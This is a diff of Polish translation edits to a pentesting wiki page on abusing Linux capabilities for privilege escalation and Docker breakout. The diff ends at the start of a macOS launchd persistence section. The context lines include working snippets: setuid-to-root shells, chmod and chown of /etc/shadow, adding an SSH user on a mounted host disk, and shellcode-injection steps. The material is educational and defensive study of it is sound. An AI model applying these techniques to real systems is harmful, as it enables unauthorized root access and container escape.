Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
@ -418,7 +418,7 @@ chroot ./ bash #You have a shell inside the docker hosts disk
- **Pełny dostęp**
W poprzedniej metodzie udało nam się uzyskać dostęp do dysku hosta docker.\
W przypadku, gdy stwierdzisz, że host uruchamia serwer **ssh**, możesz **utworzyć użytkownika na dysku hosta docker** i uzyskać do niego dostęp przez SSH:
W przypadku, gdy stwierdzisz, że host uruchamia serwer **ssh**, możesz **utworzyć użytkownika wewnątrz dysku hosta docker** i uzyskać do niego dostęp przez SSH:
```bash
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
@ -436,7 +436,7 @@ ssh john@172.17.0.1 -p 2222
**Oznacza to, że możesz uciec z kontenera, wstrzykując shellcode do procesu działającego w hoście.** Aby uzyskać dostęp do procesów działających w hoście, kontener musi być uruchomiony przynajmniej z **`--pid=host`**.
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** przyznaje możliwość korzystania z funkcji debugowania i śledzenia wywołań systemowych dostarczanych przez `ptrace(2)` oraz wywołań cross-memory attach, takich jak `process_vm_readv(2)` i `process_vm_writev(2)`. Chociaż jest to potężne narzędzie do celów diagnostycznych i monitorujących, jeśli `CAP_SYS_PTRACE` jest włączone bez restrykcyjnych środków, takich jak filtr seccomp na `ptrace(2)`, może to znacząco osłabić bezpieczeństwo systemu. W szczególności może być wykorzystywane do obejścia innych ograniczeń bezpieczeństwa, zwłaszcza tych nałożonych przez seccomp, co zostało pokazane w [dowodach koncepcyjnych (PoC) takich jak ten](https://gist.github.com/thejh/8346f47e359adecd1d53).
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** przyznaje możliwość korzystania z funkcji debugowania i śledzenia wywołań systemowych dostarczanych przez `ptrace(2)` oraz wywołań cross-memory attach, takich jak `process_vm_readv(2)` i `process_vm_writev(2)`. Chociaż jest to potężne narzędzie do celów diagnostycznych i monitorujących, jeśli `CAP_SYS_PTRACE` jest włączone bez restrykcyjnych środków, takich jak filtr seccomp na `ptrace(2)`, może to znacząco osłabić bezpieczeństwo systemu. W szczególności może być wykorzystywane do obejścia innych ograniczeń bezpieczeństwa, zwłaszcza tych nałożonych przez seccomp, co zostało udowodnione przez [dowody koncepcyjne (PoC) takie jak ten](https://gist.github.com/thejh/8346f47e359adecd1d53).
**Przykład z binarnym (python)**
```bash
@ -597,7 +597,7 @@ Nie będziesz w stanie zobaczyć wyniku wykonanego polecenia, ale zostanie ono w
> [!WARNING]
> Jeśli otrzymasz błąd "No symbol "system" in current context.", sprawdź poprzedni przykład ładowania shellcode w programie za pomocą gdb.
**Przykład z środowiskiem (Docker breakout) - Wstrzykiwanie shellcode**
**Przykład z użyciem środowiska (wyjście z Dockera) - Wstrzykiwanie shellcode**
Możesz sprawdzić włączone możliwości wewnątrz kontenera docker za pomocą:
```bash
@ -612,7 +612,7 @@ uid=0(root)
gid=0(root)
groups=0(root
```
List **procesy** działające na **hoście** `ps -eaf`
List **procesy** działające w **hoście** `ps -eaf`
1. Uzyskaj **architekturę** `uname -m`
2. Znajdź **shellcode** dla architektury ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
@ -622,7 +622,7 @@ List **procesy** działające na **hoście** `ps -eaf`
## CAP_SYS_MODULE
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** upoważnia proces do **ładowania i usuwania modułów jądra (`init_module(2)`, `finit_module(2)` i `delete_module(2)` system calls)**, oferując bezpośredni dostęp do podstawowych operacji jądra. Ta zdolność stwarza poważne zagrożenia dla bezpieczeństwa, ponieważ umożliwia eskalację uprawnień i całkowite kompromitowanie systemu poprzez umożliwienie modyfikacji jądra, co omija wszystkie mechanizmy zabezpieczeń Linuxa, w tym Linux Security Modules i izolację kontenerów.
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** umożliwia procesowi **ładowanie i usuwanie modułów jądra (`init_module(2)`, `finit_module(2)` i `delete_module(2)` system calls)**, oferując bezpośredni dostęp do podstawowych operacji jądra. Ta zdolność stwarza poważne zagrożenia dla bezpieczeństwa, ponieważ umożliwia eskalację uprawnień i całkowite kompromitowanie systemu poprzez pozwolenie na modyfikacje jądra, omijając wszystkie mechanizmy zabezpieczeń Linuxa, w tym Linux Security Modules i izolację kontenerów.
**To oznacza, że możesz** **wstawiać/usuwać moduły jądra z/do jądra maszyny hosta.**
**Przykład z binarnym**
@ -656,11 +656,11 @@ W następującym przykładzie binarny **`kmod`** ma tę zdolność.
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
```
Co oznacza, że możliwe jest użycie polecenia **`insmod`** do wstawienia modułu jądra. Postępuj zgodnie z poniższym przykładem, aby uzyskać **reverse shell**, nadużywając tego przywileju.
Co oznacza, że możliwe jest użycie polecenia **`insmod`** do wstawienia modułu jądra. Postępuj zgodnie z poniższym przykładem, aby uzyskać **reverse shell**, nadużywając tego uprawnienia.
**Przykład z środowiskiem (wyjście z Dockera)**
Możesz sprawdzić włączone możliwości wewnątrz kontenera docker za pomocą:
Możesz sprawdzić włączone uprawnienia wewnątrz kontenera docker za pomocą:
```bash
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
@ -733,8 +733,8 @@ Inny przykład tej techniki można znaleźć w [https://www.cyberark.com/resourc
## CAP_DAC_READ_SEARCH
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) umożliwia procesowi **ominięcie uprawnień do odczytu plików oraz do odczytu i wykonywania katalogów**. Jego główne zastosowanie dotyczy wyszukiwania lub odczytu plików. Jednak pozwala również procesowi na użycie funkcji `open_by_handle_at(2)`, która może uzyskać dostęp do dowolnego pliku, w tym tych poza przestrzenią montowania procesu. Uchwycenie używane w `open_by_handle_at(2)` powinno być nieprzezroczystym identyfikatorem uzyskanym za pomocą `name_to_handle_at(2)`, ale może zawierać wrażliwe informacje, takie jak numery i-node, które są podatne na manipulacje. Potencjał do wykorzystania tej zdolności, szczególnie w kontekście kontenerów Docker, został zaprezentowany przez Sebastiana Krahmera za pomocą exploita shocker, jak analizowano [tutaj](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
**Oznacza to, że możesz** **ominięcie kontroli uprawnień do odczytu plików oraz kontroli uprawnień do odczytu/wykonywania katalogów.**
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) umożliwia procesowi **obejście uprawnień do odczytu plików oraz do odczytu i wykonywania katalogów**. Jego główne zastosowanie dotyczy wyszukiwania lub odczytu plików. Jednak pozwala również procesowi na użycie funkcji `open_by_handle_at(2)`, która może uzyskać dostęp do dowolnego pliku, w tym tych poza przestrzenią montowania procesu. Uchwycenie używane w `open_by_handle_at(2)` powinno być nieprzezroczystym identyfikatorem uzyskanym za pomocą `name_to_handle_at(2)`, ale może zawierać wrażliwe informacje, takie jak numery i-node, które są podatne na manipulacje. Potencjał do wykorzystania tej zdolności, szczególnie w kontekście kontenerów Docker, został zaprezentowany przez Sebastiana Krahmera za pomocą exploita shocker, jak analizowano [tutaj](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
**Oznacza to, że możesz** **obejść kontrole uprawnień do odczytu plików oraz kontrole uprawnień do odczytu/wykonywania katalogów.**
**Przykład z binarnym**
@ -747,7 +747,7 @@ tar -cxf shadow.tar.gz
```
**Przykład z binary2**
W tym przypadku załóżmy, że **`python`** binarka ma tę zdolność. Aby wylistować pliki roota, możesz zrobić:
W tym przypadku załóżmy, że **`python`** ma tę zdolność. Aby wylistować pliki roota, możesz to zrobić:
```python
import os
for r, d, f in os.walk('/root'):
@ -773,7 +773,7 @@ uid=0(root)
gid=0(root)
groups=0(root)
```
W poprzednim wyniku możesz zobaczyć, że zdolność **DAC_READ_SEARCH** jest włączona. W rezultacie kontener może **debugować procesy**.
W poprzednim wyjściu można zobaczyć, że zdolność **DAC_READ_SEARCH** jest włączona. W rezultacie kontener może **debugować procesy**.
Możesz dowiedzieć się, jak działa poniższe wykorzystanie w [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), ale w skrócie **CAP_DAC_READ_SEARCH** nie tylko pozwala nam przechodzić przez system plików bez sprawdzania uprawnień, ale także wyraźnie usuwa wszelkie kontrole do _**open_by_handle_at(2)**_ i **może pozwolić naszemu procesowi na dostęp do wrażliwych plików otwartych przez inne procesy**.
@ -1122,7 +1122,7 @@ Aby wydostać się z kontenera docker, możesz **pobrać** pliki `/etc/shadow` i
**Przykład z binarnym**
Załóżmy, że binarny **`python`** ma tę zdolność, możesz **zmienić** **właściciela** pliku **shadow**, **zmienić hasło roota** i eskalować uprawnienia:
Załóżmy, że binarny plik **`python`** ma tę zdolność, możesz **zmienić** **właściciela** pliku **shadow**, **zmienić hasło roota** i eskalować uprawnienia:
```bash
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
```
@ -1134,7 +1134,7 @@ ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
**Oznacza to, że możliwe jest zmienienie uprawnień dowolnego pliku.**
**Przykład z binarnym**
**Przykład z binar**
Jeśli python ma tę zdolność, możesz zmodyfikować uprawnienia pliku shadow, **zmienić hasło roota** i eskalować uprawnienia:
```bash
@ -1146,7 +1146,7 @@ python -c 'import os;os.chmod("/etc/shadow",0666)
**Przykład z binarką**
Jeśli python ma tę **zdolność**, możesz bardzo łatwo nadużyć jej, aby podnieść uprawnienia do roota:
Jeśli python ma tę **capability**, możesz bardzo łatwo to wykorzystać do eskalacji uprawnień do roota:
```python
import os
os.setuid(0)
@ -1163,11 +1163,11 @@ os.system("/bin/bash")
```
## CAP_SETGID
**Oznacza to, że możliwe jest ustawienie efektywnego identyfikatora grupy dla utworzonego procesu.**
**Oznacza to, że możliwe jest ustawienie efektywnego identyfikatora grupy utworzonego procesu.**
Jest wiele plików, które możesz **nadpisać, aby zwiększyć uprawnienia,** [**możesz znaleźć pomysły tutaj**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
Jest wiele plików, które możesz **nadpisać, aby zwiększyć uprawnienia,** [**możesz stąd czerpać pomysły**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
**Przykład z binarnym**
**Przykład z binar**
W tym przypadku powinieneś szukać interesujących plików, które grupa może odczytać, ponieważ możesz udawać dowolną grupę:
```bash
@ -1188,7 +1188,7 @@ W tym przypadku grupa shadow została podszyta, więc możesz odczytać plik `/e
```bash
cat /etc/shadow
```
Jeśli **docker** jest zainstalowany, możesz **udawać** **grupę docker** i nadużyć jej, aby komunikować się z [**gniazdem docker** i podnieść uprawnienia](./#writable-docker-socket).
Jeśli **docker** jest zainstalowany, możesz **podszyć się** pod **grupę docker** i nadużyć jej, aby komunikować się z [**gniazdem docker** i eskalować uprawnienia](#writable-docker-socket).
## CAP_SETFCAP
@ -1196,7 +1196,7 @@ Jeśli **docker** jest zainstalowany, możesz **udawać** **grupę docker** i na
**Przykład z binarką**
Jeśli python ma tę **zdolność**, możesz bardzo łatwo nadużyć jej, aby podnieść uprawnienia do roota:
Jeśli python ma tę **zdolność**, możesz bardzo łatwo nadużyć jej, aby eskalować uprawnienia do roota:
```python:setcapability.py
import ctypes, sys
@ -1253,15 +1253,15 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted
```
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: To jest **ograniczający nadzbiór dla efektywnych możliwości**, które wątek może przyjąć. Jest to również ograniczający nadzbiór dla możliwości, które mogą być dodane do zestawu dziedziczonego przez wątek, który **nie ma możliwości CAP_SETPCAP** w swoim zestawie efektywnym._\
Wygląda na to, że możliwości Permitted ograniczają te, które mogą być używane.\
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Dozwolone: To jest **ograniczający nadzbiór dla efektywnych możliwości**, które wątek może przyjąć. Jest to również ograniczający nadzbiór dla możliwości, które mogą być dodane do zestawu dziedziczonego przez wątek, który **nie ma możliwości CAP_SETPCAP** w swoim zestawie efektywnym._\
Wygląda na to, że dozwolone możliwości ograniczają te, które mogą być używane.\
Jednak Docker również domyślnie przyznaje **CAP_SETPCAP**, więc możesz być w stanie **ustawić nowe możliwości w dziedziczonych**.\
Jednak w dokumentacji tej możliwości: _CAP_SETPCAP : \[…] **dodaje każdą możliwość z ograniczonego** zestawu wątku wywołującego do jego zestawu dziedziczonego_.\
Wygląda na to, że możemy tylko dodawać do zestawu dziedziczonego możliwości z zestawu ograniczonego. Co oznacza, że **nie możemy umieścić nowych możliwości, takich jak CAP_SYS_ADMIN lub CAP_SYS_PTRACE w zestawie dziedziczonym, aby eskalować uprawnienia**.
## CAP_SYS_RAWIO
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) zapewnia szereg wrażliwych operacji, w tym dostęp do `/dev/mem`, `/dev/kmem` lub `/proc/kcore`, modyfikację `mmap_min_addr`, dostęp do wywołań systemowych `ioperm(2)` i `iopl(2)`, oraz różne polecenia dyskowe. `FIBMAP ioctl(2)` jest również włączone za pomocą tej możliwości, co spowodowało problemy w [przeszłości](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Zgodnie z dokumentacją, umożliwia to również posiadaczowi opisowe `wykonywanie szeregu operacji specyficznych dla urządzeń na innych urządzeniach`.
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) zapewnia szereg wrażliwych operacji, w tym dostęp do `/dev/mem`, `/dev/kmem` lub `/proc/kcore`, modyfikację `mmap_min_addr`, dostęp do wywołań systemowych `ioperm(2)` i `iopl(2)`, oraz różne polecenia dyskowe. `FIBMAP ioctl(2)` jest również włączone za pomocą tej możliwości, co spowodowało problemy w [przeszłości](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Zgodnie z dokumentacją, pozwala to również posiadaczowi na opisowe `wykonywanie szeregu operacji specyficznych dla urządzeń na innych urządzeniach`.
Może to być przydatne do **eskalacji uprawnień** i **wyjścia z Dockera.**
@ -1271,7 +1271,7 @@ Może to być przydatne do **eskalacji uprawnień** i **wyjścia z Dockera.**
**Przykład z binarnym**
Załóżmy, że **`python`** ma tę możliwość. Jeśli mógłbyś **również zmodyfikować jakąś konfigurację usługi lub gniazda** (lub jakikolwiek plik konfiguracyjny związany z usługą), mógłbyś wprowadzić tylną furtkę, a następnie zabić proces związany z tą usługą i czekać na wykonanie nowego pliku konfiguracyjnego z twoją tylną furtką.
Załóżmy, że **`python`** ma tę możliwość. Jeśli mógłbyś **również zmodyfikować jakąś konfigurację usługi lub gniazda** (lub jakikolwiek plik konfiguracyjny związany z usługą), mógłbyś wprowadzić tylne drzwi, a następnie zabić proces związany z tą usługą i czekać na wykonanie nowego pliku konfiguracyjnego z twoimi tylnymi drzwiami.
```python
#Use this python code to kill arbitrary processes
import os
@ -1290,13 +1290,14 @@ kill -s SIGUSR1 <nodejs-ps>
electron-cef-chromium-debugger-abuse.md
{{#endref}}
## CAP_NET_BIND_SERVICE
**Oznacza to, że możliwe jest nasłuchiwanie na dowolnym porcie (nawet na portach uprzywilejowanych).** Nie można bezpośrednio eskalować uprawnień za pomocą tej zdolności.
**Przykład z binarką**
Jeśli **`python`** ma tę zdolność, będzie mógł nasłuchiwać na dowolnym porcie i nawet łączyć się z niego z innym portem (niektóre usługi wymagają połączeń z określonych portów uprzywilejowanych)
Jeśli **`python`** ma tę zdolność, będzie mógł nasłuchiwać na dowolnym porcie i nawet łączyć się z niego z dowolnym innym portem (niektóre usługi wymagają połączeń z określonych portów uprzywilejowanych)
{{#tabs}}
{{#tab name="Listen"}}
@ -1324,9 +1325,9 @@ s.connect(('10.10.10.10',500))
## CAP_NET_RAW
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) uprawnienie pozwala procesom na **tworzenie gniazd RAW i PACKET**, umożliwiając im generowanie i wysyłanie dowolnych pakietów sieciowych. Może to prowadzić do zagrożeń bezpieczeństwa w środowiskach kontenerowych, takich jak fałszowanie pakietów, wstrzykiwanie ruchu i omijanie kontroli dostępu do sieci. Złośliwi aktorzy mogą to wykorzystać do zakłócania routingu kontenerów lub kompromitacji bezpieczeństwa sieci hosta, szczególnie bez odpowiednich zabezpieczeń zapory. Dodatkowo, **CAP_NET_RAW** jest kluczowe dla uprzywilejowanych kontenerów, aby wspierać operacje takie jak ping za pomocą żądań RAW ICMP.
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) uprawnienie pozwala procesom na **tworzenie gniazd RAW i PACKET**, co umożliwia generowanie i wysyłanie dowolnych pakietów sieciowych. Może to prowadzić do zagrożeń bezpieczeństwa w środowiskach kontenerowych, takich jak fałszowanie pakietów, wstrzykiwanie ruchu i omijanie kontroli dostępu do sieci. Złośliwi aktorzy mogą to wykorzystać do zakłócania routingu kontenerów lub kompromitacji bezpieczeństwa sieci hosta, szczególnie bez odpowiednich zabezpieczeń zapory. Dodatkowo, **CAP_NET_RAW** jest kluczowe dla uprzywilejowanych kontenerów, aby wspierać operacje takie jak ping za pomocą żądań RAW ICMP.
**Oznacza to, że możliwe jest podsłuchiwanie ruchu.** Nie możesz bezpośrednio podnieść uprawnień za pomocą tego uprawnienia.
**Oznacza to, że możliwe jest podsłuchiwanie ruchu.** Nie można bezpośrednio podnieść uprawnień za pomocą tego uprawnienia.
**Przykład z binarką**
@ -1339,7 +1340,7 @@ Zauważ, że jeśli **środowisko** przyznaje tę zdolność, możesz również
**Przykład z binarnym 2**
Poniższy przykład to **`python2`** kod, który może być przydatny do przechwytywania ruchu interfejsu "**lo**" (**localhost**). Kod pochodzi z laboratorium "_Podstawy: CAP-NET_BIND + NET_RAW_" z [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
Poniższy przykład to kod **`python2`**, który może być przydatny do przechwytywania ruchu interfejsu "**lo**" (**localhost**). Kod pochodzi z laboratorium "_Podstawy: CAP-NET_BIND + NET_RAW_" z [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
```python
import socket
import struct
@ -1440,33 +1441,33 @@ f.write('New content for the file\n')
## CAP_SYS_CHROOT
[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) umożliwia wykonanie wywołania systemowego `chroot(2)`, co potencjalnie może pozwolić na ucieczkę z środowisk `chroot(2)` poprzez znane luki:
[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) umożliwia wykonanie wywołania systemowego `chroot(2)`, co potencjalnie pozwala na ucieczkę z środowisk `chroot(2)` poprzez znane luki:
- [Jak wydostać się z różnych rozwiązań chroot](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
- [chw00t: narzędzie do ucieczki z chroot](https://github.com/earthquake/chw00t/)
## CAP_SYS_BOOT
[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) nie tylko pozwala na wykonanie wywołania systemowego `reboot(2)` w celu ponownego uruchomienia systemu, w tym specyficznych poleceń, takich jak `LINUX_REBOOT_CMD_RESTART2` dostosowanych do określonych platform sprzętowych, ale także umożliwia użycie `kexec_load(2)` i, od wersji Linux 3.17, `kexec_file_load(2)` do ładowania nowych lub podpisanych rdzeni awaryjnych.
[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) nie tylko pozwala na wykonanie wywołania systemowego `reboot(2)` w celu ponownego uruchomienia systemu, w tym na konkretne polecenia, takie jak `LINUX_REBOOT_CMD_RESTART2` dostosowane do określonych platform sprzętowych, ale także umożliwia użycie `kexec_load(2)` i, od wersji Linux 3.17, `kexec_file_load(2)` do ładowania nowych lub podpisanych jąder awaryjnych.
## CAP_SYSLOG
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) został oddzielony od szerszego **CAP_SYS_ADMIN** w Linux 2.6.37, przyznając konkretną możliwość użycia wywołania `syslog(2)`. Ta zdolność umożliwia przeglądanie adresów jądra za pośrednictwem `/proc` i podobnych interfejsów, gdy ustawienie `kptr_restrict` wynosi 1, co kontroluje ujawnianie adresów jądra. Od Linux 2.6.39 domyślna wartość dla `kptr_restrict` wynosi 0, co oznacza, że adresy jądra są ujawniane, chociaż wiele dystrybucji ustawia to na 1 (ukryj adresy z wyjątkiem uid 0) lub 2 (zawsze ukrywaj adresy) z powodów bezpieczeństwa.
Dodatkowo, **CAP_SYSLOG** pozwala na dostęp do wyjścia `dmesg`, gdy `dmesg_restrict` jest ustawione na 1. Pomimo tych zmian, **CAP_SYS_ADMIN** zachowuje zdolność do wykonywania operacji `syslog` z powodu historycznych precedensów.
Dodatkowo, **CAP_SYSLOG** pozwala na dostęp do wyjścia `dmesg`, gdy `dmesg_restrict` jest ustawione na 1. Pomimo tych zmian, **CAP_SYS_ADMIN** zachowuje możliwość wykonywania operacji `syslog` z powodu historycznych precedensów.
## CAP_MKNOD
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) rozszerza funkcjonalność wywołania systemowego `mknod` poza tworzenie zwykłych plików, FIFOs (nazwanych potoków) lub gniazd domeny UNIX. Specjalnie pozwala na tworzenie plików specjalnych, które obejmują:
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) rozszerza funkcjonalność wywołania systemowego `mknod` poza tworzenie zwykłych plików, FIFOs (nazwanych potoków) lub gniazd domeny UNIX. Umożliwia ono szczególnie tworzenie plików specjalnych, które obejmują:
- **S_IFCHR**: Pliki specjalne znakowe, które są urządzeniami takimi jak terminale.
- **S_IFBLK**: Pliki specjalne blokowe, które są urządzeniami takimi jak dyski.
Ta zdolność jest niezbędna dla procesów, które wymagają możliwości tworzenia plików urządzeń, ułatwiając bezpośrednią interakcję z hardwarem za pośrednictwem urządzeń znakowych lub blokowych.
Ta zdolność jest niezbędna dla procesów, które wymagają możliwości tworzenia plików urządzeń, co ułatwia bezpośrednią interakcję z hardwarem za pośrednictwem urządzeń znakowych lub blokowych.
Jest to domyślna zdolność dockera ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
Ta zdolność pozwala na eskalację uprawnień (poprzez pełne odczyty dysku) na hoście, pod tymi warunkami:
Ta zdolność pozwala na eskalację uprawnień (poprzez pełne odczytywanie dysku) na hoście, pod tymi warunkami:
1. Mieć początkowy dostęp do hosta (bez uprawnień).
2. Mieć początkowy dostęp do kontenera (z uprawnieniami (EUID 0) i efektywnym `CAP_MKNOD`).
@ -1503,17 +1504,17 @@ To podejście pozwala standardowemu użytkownikowi na dostęp i potencjalne odcz
### CAP_SETPCAP
**CAP_SETPCAP** umożliwia procesowi **zmianę zestawów uprawnień** innego procesu, co pozwala na dodawanie lub usuwanie uprawnień z zestawów efektywnych, dziedzicznych i dozwolonych. Jednak proces może modyfikować tylko te uprawnienia, które posiada w swoim własnym dozwolonym zestawie, co zapewnia, że nie może podnieść uprawnień innego procesu ponad swoje własne. Ostatnie aktualizacje jądra zaostrzyły te zasady, ograniczając `CAP_SETPCAP` do jedynie zmniejszania uprawnień w swoim własnym lub dozwolonym zestawie swoich potomków, mając na celu złagodzenie ryzyk bezpieczeństwa. Użycie wymaga posiadania `CAP_SETPCAP` w zestawie efektywnym oraz docelowych uprawnień w zestawie dozwolonym, wykorzystując `capset()` do modyfikacji. To podsumowuje podstawową funkcję i ograniczenia `CAP_SETPCAP`, podkreślając jego rolę w zarządzaniu uprawnieniami i poprawie bezpieczeństwa.
**CAP_SETPCAP** umożliwia procesowi **zmianę zestawów uprawnień** innego procesu, co pozwala na dodawanie lub usuwanie uprawnień z zestawów efektywnych, dziedzicznych i dozwolonych. Jednak proces może modyfikować tylko te uprawnienia, które posiada w swoim własnym zestawie dozwolonych, co zapewnia, że nie może podnieść uprawnień innego procesu ponad swoje własne. Ostatnie aktualizacje jądra zaostrzyły te zasady, ograniczając `CAP_SETPCAP` do jedynie zmniejszania uprawnień w swoim własnym lub dozwolonym zestawie potomków, mając na celu złagodzenie ryzyk bezpieczeństwa. Użycie wymaga posiadania `CAP_SETPCAP` w zestawie efektywnym oraz docelowych uprawnień w zestawie dozwolonym, wykorzystując `capset()` do modyfikacji. To podsumowuje podstawową funkcję i ograniczenia `CAP_SETPCAP`, podkreślając jego rolę w zarządzaniu uprawnieniami i poprawie bezpieczeństwa.
**`CAP_SETPCAP`** to uprawnienie w systemie Linux, które pozwala procesowi na **modyfikację zestawów uprawnień innego procesu**. Daje możliwość dodawania lub usuwania uprawnień z efektywnych, dziedzicznych i dozwolonych zestawów uprawnień innych procesów. Jednak istnieją pewne ograniczenia dotyczące tego, jak to uprawnienie może być używane.
**`CAP_SETPCAP`** to uprawnienie w systemie Linux, które pozwala procesowi na **modyfikację zestawów uprawnień innego procesu**. Umożliwia dodawanie lub usuwanie uprawnień z efektywnych, dziedzicznych i dozwolonych zestawów uprawnień innych procesów. Jednak istnieją pewne ograniczenia dotyczące tego, jak to uprawnienie może być używane.
Proces z `CAP_SETPCAP` **może tylko przyznawać lub usuwać uprawnienia, które znajdują się w jego własnym dozwolonym zestawie uprawnień**. Innymi słowy, proces nie może przyznać uprawnienia innemu procesowi, jeśli sam go nie posiada. To ograniczenie zapobiega podnoszeniu uprawnień innego procesu ponad własny poziom uprawnień.
Proces z `CAP_SETPCAP` **może jedynie przyznawać lub usuwać uprawnienia, które znajdują się w jego własnym dozwolonym zestawie uprawnień**. Innymi słowy, proces nie może przyznać uprawnienia innemu procesowi, jeśli sam go nie posiada. To ograniczenie zapobiega podnoszeniu uprawnień innego procesu ponad własny poziom uprawnień.
Ponadto, w ostatnich wersjach jądra, uprawnienie `CAP_SETPCAP` zostało **dodatkowo ograniczone**. Już nie pozwala procesowi na dowolną modyfikację zestawów uprawnień innych procesów. Zamiast tego **pozwala tylko na obniżenie uprawnień w swoim własnym dozwolonym zestawie uprawnień lub w dozwolonym zestawie uprawnień swoich potomków**. Ta zmiana została wprowadzona w celu zmniejszenia potencjalnych ryzyk bezpieczeństwa związanych z tym uprawnieniem.
Ponadto, w ostatnich wersjach jądra, uprawnienie `CAP_SETPCAP` zostało **dodatkowo ograniczone**. Nie pozwala już procesowi na dowolną modyfikację zestawów uprawnień innych procesów. Zamiast tego **pozwala jedynie procesowi na obniżenie uprawnień w swoim własnym dozwolonym zestawie uprawnień lub w dozwolonym zestawie uprawnień jego potomków**. Ta zmiana została wprowadzona w celu zmniejszenia potencjalnych ryzyk bezpieczeństwa związanych z tym uprawnieniem.
Aby skutecznie używać `CAP_SETPCAP`, musisz mieć to uprawnienie w swoim efektywnym zestawie uprawnień oraz docelowe uprawnienia w swoim dozwolonym zestawie uprawnień. Możesz następnie użyć wywołania systemowego `capset()`, aby modyfikować zestawy uprawnień innych procesów.
Podsumowując, `CAP_SETPCAP` pozwala procesowi na modyfikację zestawów uprawnień innych procesów, ale nie może przyznawać uprawnień, których sam nie posiada. Dodatkowo, z powodu obaw o bezpieczeństwo, jego funkcjonalność została ograniczona w ostatnich wersjach jądra do jedynie obniżania uprawnień w swoim własnym dozwolonym zestawie uprawnień lub w dozwolonych zestawach uprawnień swoich potomków.
Podsumowując, `CAP_SETPCAP` pozwala procesowi na modyfikację zestawów uprawnień innych procesów, ale nie może przyznawać uprawnień, których sam nie posiada. Dodatkowo, z powodu obaw o bezpieczeństwo, jego funkcjonalność została ograniczona w ostatnich wersjach jądra do jedynie obniżania uprawnień w swoim własnym dozwolonym zestawie uprawnień lub w dozwolonych zestawach uprawnień jego potomków.
## References

View File

@ -12,7 +12,7 @@ Ta sekcja jest w dużej mierze oparta na serii blogów [**Beyond the good ol' La
### Launchd
- Przydatne do obejścia sandboxu: [](https://emojipedia.org/check-mark-button)
- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle)
- TCC Bypass: [🔴](https://emojipedia.org/large-red-circle)
#### Lokalizacje
@ -34,17 +34,17 @@ Ta sekcja jest w dużej mierze oparta na serii blogów [**Beyond the good ol' La
- **Wyzwalacz**: Ponowne logowanie
> [!TIP]
> Jako ciekawostka, **`launchd`** ma wbudowaną listę właściwości w sekcji Mach-o `__Text.__config`, która zawiera inne znane usługi, które launchd musi uruchomić. Ponadto, te usługi mogą zawierać `RequireSuccess`, `RequireRun` i `RebootOnSuccess`, co oznacza, że muszą być uruchomione i zakończone pomyślnie.
> Jako ciekawostka, **`launchd`** ma wbudowaną listę właściwości w sekcji Mach-o `__Text.__config`, która zawiera inne dobrze znane usługi, które launchd musi uruchomić. Ponadto, te usługi mogą zawierać `RequireSuccess`, `RequireRun` i `RebootOnSuccess`, co oznacza, że muszą być uruchomione i zakończone pomyślnie.
>
> Oczywiście, nie można ich modyfikować z powodu podpisywania kodu.
#### Opis i Eksploatacja
**`launchd`** jest **pierwszym** **procesem** uruchamianym przez jądro OX S podczas rozruchu i ostatnim, który kończy działanie podczas zamykania. Zawsze powinien mieć **PID 1**. Ten proces **odczyta i wykona** konfiguracje wskazane w **ASEP** **plistach** w:
